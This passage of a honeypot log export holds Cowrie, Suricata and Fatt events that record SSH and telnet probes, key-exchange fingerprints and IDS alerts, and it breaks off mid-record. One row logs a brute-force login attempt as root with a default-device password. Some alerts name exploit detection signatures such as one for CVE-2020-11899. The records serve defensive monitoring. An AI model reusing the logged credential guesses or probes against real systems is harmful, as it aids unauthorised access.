33449	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:55:43.863306+03	2021-09-20 15:00:05.872722+03	{"_id": "5wYPA3wBvYTbRNuE3k_b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 109.104.151.106:58684 (192.168.176.2:23) [session: cd73752c7fe1]", "session": "cd73752c7fe1", "@version": "1", "protocol": "telnet", "src_port": 58684, "dest_port": 23, "timestamp": "2021-09-20T11:55:43.863306Z", "@timestamp": "2021-09-20T11:55:43.863Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	telnet	cowrie.session.connect	\N	known attacker	\N
33444	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:55:39.548116+03	2021-09-20 15:00:05.865723+03	{"_id": "0gYPA3wBvYTbRNuEz084", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "9a0a3ba7cd72", "@version": "1", "timestamp": "2021-09-20T11:55:39.548116Z", "@timestamp": "2021-09-20T11:55:39.548Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33445	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:55:40.124575+03	2021-09-20 15:00:05.866721+03	{"_id": "1gYPA3wBvYTbRNuE0E-C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 29702, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 532021738530463, "@version": "1", "in_iface": "enp5s0", "src_port": 37577, "dest_port": 53, "timestamp": "2021-09-20T11:55:40.124575Z", "@timestamp": "2021-09-20T11:55:40.124Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
33446	8.37.43.243	109.199.241.180	Cowrie	2021-09-20 14:55:44.98878+03	2021-09-20 15:00:05.868723+03	{"_id": "7wYPA3wBvYTbRNuE4k_E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.37.43.243", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "8.37.43.243", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 8.37.43.243:64621 (192.168.176.2:22) [session: 8f625caca81e]", "session": "8f625caca81e", "@version": "1", "protocol": "ssh", "src_port": 64621, "dest_port": 22, "timestamp": "2021-09-20T11:55:44.988780Z", "@timestamp": "2021-09-20T11:55:44.988Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
33447	8.37.43.243	109.199.241.180	Suricata	2021-09-20 14:55:45.264817+03	2021-09-20 15:00:05.869723+03	{"_id": "8wYPA3wBvYTbRNuE5E8O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.15.42.2931354109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:55:44.714371+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 789, "bytes_toserver": 1237}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "8.37.43.243", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "proto": "TCP", "src_ip": "8.37.43.243", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1706255060100739, "payload": "AAAAVC4eAAAAIGTP4Ud8/BrTiG9GI3y3G6xYLJNxF8pT6f3ovP5m0Axx/Srb19UWOB28XtfSAPt+ewXeLPi0pm1IYhd4LcuTFbSA6CIXsFkyUhtCNhpQ+w==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 64621, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:55:45.264817Z", "@timestamp": "2021-09-20T11:55:45.264Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..... d..G|....oF#|...X,.q..S.....f..q.*....8..^....~{..,...mHb.x-......\\"..Y2R.B6.P."}}	1	\N	\N	alert	\N	\N
33448	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:55:44.992957+03	2021-09-20 15:00:05.870723+03	{"_id": "9AYPA3wBvYTbRNuE5U8a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "8.37.43.243", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 64621, "timestamp": "2021-09-20T11:55:44.992957", "@timestamp": "2021-09-20T11:55:44.992Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33450	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:55:42.000352+03	2021-09-20 15:00:05.873721+03	{"_id": "6AYPA3wBvYTbRNuE4E8l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:54:41.238606+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 1730534506079246, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 52698, "timestamp": "2021-09-20T11:55:42.000352Z", "@timestamp": "2021-09-20T11:55:42.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
33451	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:55:44.223741+03	2021-09-20 15:00:05.874723+03	{"_id": "8QYPA3wBvYTbRNuE4k_E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.login.failed", "message": "login attempt [root/vizxv] failed", "session": "cd73752c7fe1", "@version": "1", "password": "vizxv", "username": "root", "timestamp": "2021-09-20T11:55:44.223741Z", "@timestamp": "2021-09-20T11:55:44.223Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33452	8.37.43.243	109.199.241.180	Suricata	2021-09-20 14:55:45.264716+03	2021-09-20 15:00:05.875722+03	{"_id": "8gYPA3wBvYTbRNuE5E8O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.15.42.2931354109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "8.37.43.243", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "proto": "TCP", "src_ip": "8.37.43.243", "dest_ip": "192.168.20.116", "flow_id": 1706255060100739, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 64621, "dest_port": 22, "timestamp": "2021-09-20T11:55:45.264716Z", "@timestamp": "2021-09-20T11:55:45.264Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
33453	8.37.43.243	109.199.241.180	Fatt	2021-09-20 14:55:45.264716+03	2021-09-20 15:00:05.876722+03	{"_id": "9QYPA3wBvYTbRNuE5U8a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "8.37.43.243", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "src_ip": "8.37.43.243", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "rsa-sha2-512,rsa-sha2-256,ssh-ed25519,ecdsa-sha2-1.3.132.0.10,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "63bec3855e65ea71385ce2634bf2f234", "ccacts": "none,zlib", "ccastc": "none,zlib", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "client": "SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.15.42.2931354109.199.241.180", "cmacts": "hmac-sha2-256,hmac-sha1", "cmastc": "hmac-sha2-256,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}, "protocol": "ssh", "src_port": 64621, "dest_port": 22, "timestamp": "2021-09-20T11:55:45.264716", "@timestamp": "2021-09-20T11:55:45.264Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33454	178.128.198.1	109.199.241.180	Cowrie	2021-09-20 14:55:20.662616+03	2021-09-20 15:00:05.878722+03	{"_id": "iwYPA3wBvYTbRNuEhE_3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "178.128.198.1", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 178.128.198.1:42168 (192.168.176.2:22) [session: 6d9baee1c037]", "session": "6d9baee1c037", "@version": "1", "protocol": "ssh", "src_port": 42168, "dest_port": 22, "timestamp": "2021-09-20T11:55:20.662616Z", "@timestamp": "2021-09-20T11:55:20.662Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33455	178.128.198.1	109.199.241.180	Suricata	2021-09-20 14:55:20.701087+03	2021-09-20 15:00:05.879722+03	{"_id": "kAYPA3wBvYTbRNuEhk9A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:55:20.626241+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1150}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "178.128.198.1", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1354166524481089, "payload": "AAADHAkUHsLR4wvvBSSm+z9ICChgFgAAAHFjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMQAAAS1zc2gtcnNhLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1kc3MtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1Ni1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHA1MjEtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLWVkMjU1MTktY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzLHNzaC1lZDI1NTE5AAAAVWFlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIAAABVYWVzMTI4LWdjbUBvcGVuc3NoLmNvbSxjaGFjaGEyMC1wb2x5MTMwNUBvcGVuc3NoLmNvbSxhZXMxMjgtY3RyLGFlczE5Mi1jdHIsYWVzMjU2LWN0cgAAAEJobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAABCaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTEsaG1hYy1zaGExLTk2AAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAABgRQvb7Yh8MMc=", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42168, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:55:20.701087Z", "@timestamp": "2021-09-20T11:55:20.701Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".............$..?H.(`....qcurve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1...-ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519...Uaes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr...Uaes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr...Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96...Bhmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96....none....none.............`E....|0."}}	1	\N	\N	alert	known attacker	\N
45170	192.168.20.103	109.199.241.180	Suricata	2021-09-20 16:40:33.031407+03	2021-09-20 16:45:02.60459+03	{"_id": "lAZvA3wBvYTbRNuE2Kpk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:40:33.031407Z", "@timestamp": "2021-09-20T13:40:33.031Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
33456	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:55:20.457852+03	2021-09-20 15:00:05.880722+03	{"_id": "kwYPA3wBvYTbRNuEhk9A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:55:20.457852+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 130}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557429021820, "payload": "AAAAAwQAAAD/AgAAAAAAAAAAAAAAAAD7BgAAAP8CAAAAAAAAAAAAAv9Z1KsGAAAA/wIAAAAAAAA=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:55:20.457852Z", "@timestamp": "2021-09-20T11:55:20.457Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........................................Y.............."}}	1	\N	\N	alert	\N	\N
33457	178.128.198.1	109.199.241.180	Suricata	2021-09-20 14:55:20.700977+03	2021-09-20 15:00:05.881722+03	{"_id": "kQYPA3wBvYTbRNuEhk9A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "178.128.198.1", "dest_ip": "192.168.20.116", "flow_id": 1354166524481089, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42168, "dest_port": 22, "timestamp": "2021-09-20T11:55:20.700977Z", "@timestamp": "2021-09-20T11:55:20.700Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33458	fe80:0000:0000:0000:0086:403d:72ff:040f	109.199.241.180	Suricata	2021-09-20 14:55:21.550306+03	2021-09-20 15:00:05.883723+03	{"_id": "mQYPA3wBvYTbRNuEik8q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:55:21.550306+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 110}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:0086:403d:72ff:040f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1184755834512802, "payload": "AAAAAgQAAAD/AgAAAAAAAAAAAAL/WdSrBAAAAP8CAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:55:21.550306Z", "@timestamp": "2021-09-20T11:55:21.550Z", 